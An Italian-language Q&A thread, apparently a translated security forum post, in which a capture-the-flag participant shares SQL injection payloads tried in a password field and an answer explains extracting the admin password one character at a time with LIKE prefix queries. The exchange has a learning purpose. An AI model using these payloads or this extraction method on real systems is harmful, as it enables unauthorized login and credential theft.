SQL Injection - LIKE Clausola

1

Come parte di un compito di cattura-bandiera, dovrei eseguire l'iniezione SQL usando la clausola LIKE per ottenere il flag. Sono nuovo a questo e ho provato le seguenti iniezioni:

(Il nome utente richiesto per accedere è "admin", quindi ho eseguito le seguenti iniezioni nel campo della password)

  1. '; SELECT password FROM users WHERE username LIKE 'admin%'; --
  2. ' OR '1'='1 (Ho ignorato la clausola LIKE)

Ho provato anche varianti di (1.) ma sono ancora bloccato.

C'è qualcosa che mi manca? Qualsiasi suggerimento sarebbe apprezzato!

PS: non ho lo schema del database o il layout della tabella

    
posta Yash Chowdhary 19.11.2017 - 07:50
fonte

1 risposta

2

Ti viene proposta la bruteforce della password usando il seguente algoritmo:

SELECT * FROM users where username = "admin" AND password LIKE "A%"; #INCORRECT

SELECT * FROM users where username = "admin" AND password LIKE "B%"; #INCORRECT

SELECT * FROM users where username = "admin" AND password LIKE "C%"; #CORRECT

SELECT * FROM users where username = "admin" AND password LIKE "CA%"; #INCORRECT

SELECT * FROM users where username = "admin" AND password LIKE "CB%"; #INCORRECT

SELECT * FROM users where username = "admin" AND password LIKE "CC%"; #CORRECT

E così via. Puoi scrivere un semplice programma python che lo faccia automaticamente:)

    
risposta data 19.11.2017 - 11:27
fonte

Leggi altre domande sui tag